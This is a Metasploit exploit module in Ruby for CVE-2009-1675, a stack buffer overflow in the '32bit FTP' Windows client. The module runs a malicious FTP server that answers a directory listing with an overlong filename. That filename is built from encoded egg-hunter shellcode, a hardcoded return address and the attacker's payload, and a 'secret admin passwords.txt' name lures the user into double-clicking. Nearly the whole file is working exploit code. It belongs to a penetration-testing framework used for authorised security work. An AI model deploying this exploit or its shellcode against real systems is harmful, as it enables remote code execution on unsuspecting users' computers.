##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '32bit FTP Client Stack Buffer Overflow ',
        'Description' => %q{
          This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
          download a file that has an overly long filename.
        },
        'Author' => [
          'fancy', # found the bug
          'corelanc0d3r <peter.ve[at]corelan.be>' # helped writing this module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-1675' ],
          [ 'OSVDB', '68703' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0a",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], # RETN 32bitftp.exe
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c, arg)
    code = 150
    c.put("#{code} OK.\r\n")
    code = 226
    c.put("#{code} Directory ok.\r\n")

    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")

    filename = "\x02" # prevent crash
    filename << "secret admin passwords.txt" # se = \x73\x65 = jump forward, over filename, to hunter
    filename << " " * 77
    # custom encoded egg hunter
    filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
    filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
    filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
    filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
    filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
    filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
    filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
    filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
    filename << "\x4b\x4f\x4d\x37\x41\x41"
    filename << " " * (target['Offset'] - filename.length)

    addr1 = "\x40\x60\x3A\x76"  # RW imm32.dll
    addr2 = "\x44\x54\x48\x00"  # data section 32bitftp.exe
    addr3 = [target.ret].pack('V') # b00m !

    strfile = filename
    strfile << addr3
    strfile << addr2
    strfile << addr1
    strfile << "w00tw00t"
    strfile << payload.encoded

    print_status(" - Sending directory list via data connection")
    dirlist = "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  #{strfile}.bin\r\n\r\n"
    conn.put(dirlist)
    conn.close
    print_status(" - LIST sent, wait for user to double click file...")
    return
  end
end
